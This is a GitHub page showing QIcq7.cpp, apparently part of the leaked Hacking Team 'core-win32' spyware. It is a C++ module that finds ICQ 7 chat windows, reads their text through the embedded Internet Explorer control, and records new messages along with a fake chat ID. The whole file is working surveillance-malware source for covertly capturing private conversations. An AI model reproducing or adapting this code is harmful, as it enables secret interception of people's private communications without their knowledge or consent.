forked from hackedteam/core-win32
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathQIcq7.cpp
116 lines (94 loc) · 2.09 KB
/
QIcq7.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
/*
* ICQ Messenger v7.x logger
*
* Coded by: Quequero
* Date: 16/Nov/2010
*
*/
#include <exception>
#include <new>
using namespace std;
#include "QIcq7.h"
#include "..\common.h"
#define MIN_SEARCH_LENGTH 200
// XXX - DA FARE
PWCHAR QIcq7::wChatTree[] = {
L"__oxFrame.class__",
L"Internet Explorer_Server",
0
};
QIcq7::QIcq7(HWND hw) : QIcq(hw)
{
last_chat_len = 0;
ole.Init();
ole.SetHandle(hw);
properties.SetHandle(hw);
hwChat = ole.GetHandleFromClass(wChatTree);
}
QIcq7::~QIcq7()
{
}
BOOL QIcq7::GrabHistory()
{
BSTR bChat;
DWORD actual_len;
if(!FNC(IsWindow)(ole.GetHandle()))
return FALSE;
if(hwChat == NULL)
return FALSE;
ole.SetHandle(hwChat);
// Cerca di acquisire il contenuto testuale
if(!ole.SetInterface() || !ole.GetValueFromIEContainer(&bChat) || !bChat) {
ole.Clean();
return FALSE;
}
// Al primo passaggio non prende niente per saltare tutte le schifezze scritte
// all'inizio
if(bFirstGrab) {
last_chat_len = wcslen(bChat);
properties.SetUpdated(FALSE);
bFirstGrab = FALSE;
} else {
actual_len = wcslen(bChat);
if (actual_len > last_chat_len) {
properties.ClearHistory();
properties.SetHistory((WCHAR *)bChat + last_chat_len);
properties.StripLeadingReturn();
properties.SetUpdated(TRUE);
last_chat_len = actual_len;
}
}
SAFE_SYSFREESTR(bChat);
ole.Clean();
return TRUE;
}
BOOL QIcq7::GrabTopic()
{
WCHAR fake_peer[64];
swprintf(fake_peer, 64, L"Chat ID:%08X", hwChat);
properties.SetId(fake_peer);
return TRUE;
}
/**
* Prende l'elenco dei partecipanti e lo mette nelle proprieta'.
*/
BOOL QIcq7::GrabUserList()
{
properties.SetUsers(L"");
return FALSE;
}
HWND QIcq7::GetNextChild(HWND hw, HWND hc)
{
WCHAR wClassName[256] = {0};
HWND hChld = hc;
WCHAR pwClass[] = L"__oxFrame.class__";
if(FNC(GetClassNameW)(hw, wClassName, 256) == 0)
return NULL;
if(wcsncmp(wClassName, pwClass, wcslen(wClassName)))
return NULL;
if (hChld = FNC(FindWindowExW)(hw, hChld, pwClass, NULL))
if (hChld = FNC(FindWindowExW)(hw, hChld, pwClass, NULL))
if (hChld = FNC(FindWindowExW)(hw, hChld, pwClass, NULL))
return hChld;
return NULL;
}